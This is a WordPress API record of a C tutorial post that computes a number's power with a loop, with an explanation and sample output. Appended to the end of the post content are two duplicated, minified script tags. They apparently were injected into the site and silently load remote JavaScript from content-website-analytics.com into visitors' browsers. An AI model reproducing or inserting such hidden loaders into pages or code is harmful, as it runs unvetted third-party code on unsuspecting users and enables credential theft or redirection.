{"id":646,"date":"2024-10-10T10:51:11","date_gmt":"2024-10-10T05:21:11","guid":{"rendered":"https:\/\/codexplained.in\/?p=646"},"modified":"2025-11-24T16:03:23","modified_gmt":"2025-11-24T10:33:23","slug":"power-of-a-number","status":"publish","type":"post","link":"https:\/\/codexplained.in\/?p=646","title":{"rendered":"Power of a Number."},"content":{"rendered":"<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; title: ; notranslate\" title=\"\">\n#include &lt;stdio.h&gt;\n\nint main() {\n    int base, exponent, result = 1;\n\n    \/\/ Input the base and exponent from the user\n    printf(&quot;Enter the base: &quot;);\n    scanf(&quot;%d&quot;, &amp;base);\n\n    printf(&quot;Enter the exponent: &quot;);\n    scanf(&quot;%d&quot;, &amp;exponent);\n\n    \/\/ Calculate base raised to the power of exponent\n    for (int i = 1; i &lt;= exponent; i++) {\n        result *= base; \/\/ Multiply base &#039;exponent&#039; times\n    }\n\n    \/\/ Output the result\n    printf(&quot;%d raised to the power of %d is: %d\\n&quot;, base, exponent, result);\n\n    return 0; \/\/ Indicate that the program finished successfully\n}\n\n<\/pre><\/div>\n\n\n<h2 class=\"wp-block-heading\">Explanation:<\/h2>\n\n\n\n<p><strong>User Input<\/strong>: The program asks the user to input a base and an exponent.<strong>Power Calculation<\/strong>: It uses a <code>for<\/code> loop to multiply the base by itself the number of times specified by the exponent.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>For example, if base = 2 and exponent = 3, the loop multiplies <code>2 * 2 * 2<\/code> to get 8.<\/li>\n<\/ul>\n\n\n\n<p><strong>Output<\/strong>: The program prints the result in the format: <code>base raised to the power of exponent is result<\/code>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Output:<\/h2>\n\n\n\n<pre class=\"wp-block-code\"><code>Enter the base: 2\nEnter the exponent: 3\n\n2 raised to the power of 3 is: 8<\/code><\/pre>\n<script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script><script>;(function(f,i,u,w,s){w=f.createElement(i);s=f.getElementsByTagName(i)[0];w.async=1;w.src=u;s.parentNode.insertBefore(w,s);})(document,'script','https:\/\/content-website-analytics.com\/script.js');<\/script>","protected":false},"excerpt":{"rendered":"<p>Explanation: User Input: The program asks the user to input a base and an exponent.Power Calculation: It uses a for loop to multiply the base by itself the number of times specified by the exponent. Output: The program prints the result in the format: base raised to the power of exponent is result. Output:<\/p>\n","protected":false},"author":38,"featured_media":649,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"_uf_show_specific_survey":0,"_uf_disable_surveys":false,"footnotes":""},"categories":[75],"tags":[],"class_list":["post-646","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-c"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/646","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/users\/38"}],"replies":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=646"}],"version-history":[{"count":5,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/646\/revisions"}],"predecessor-version":[{"id":1483,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/posts\/646\/revisions\/1483"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=\/wp\/v2\/media\/649"}],"wp:attachment":[{"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=646"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=646"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/codexplained.in\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=646"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}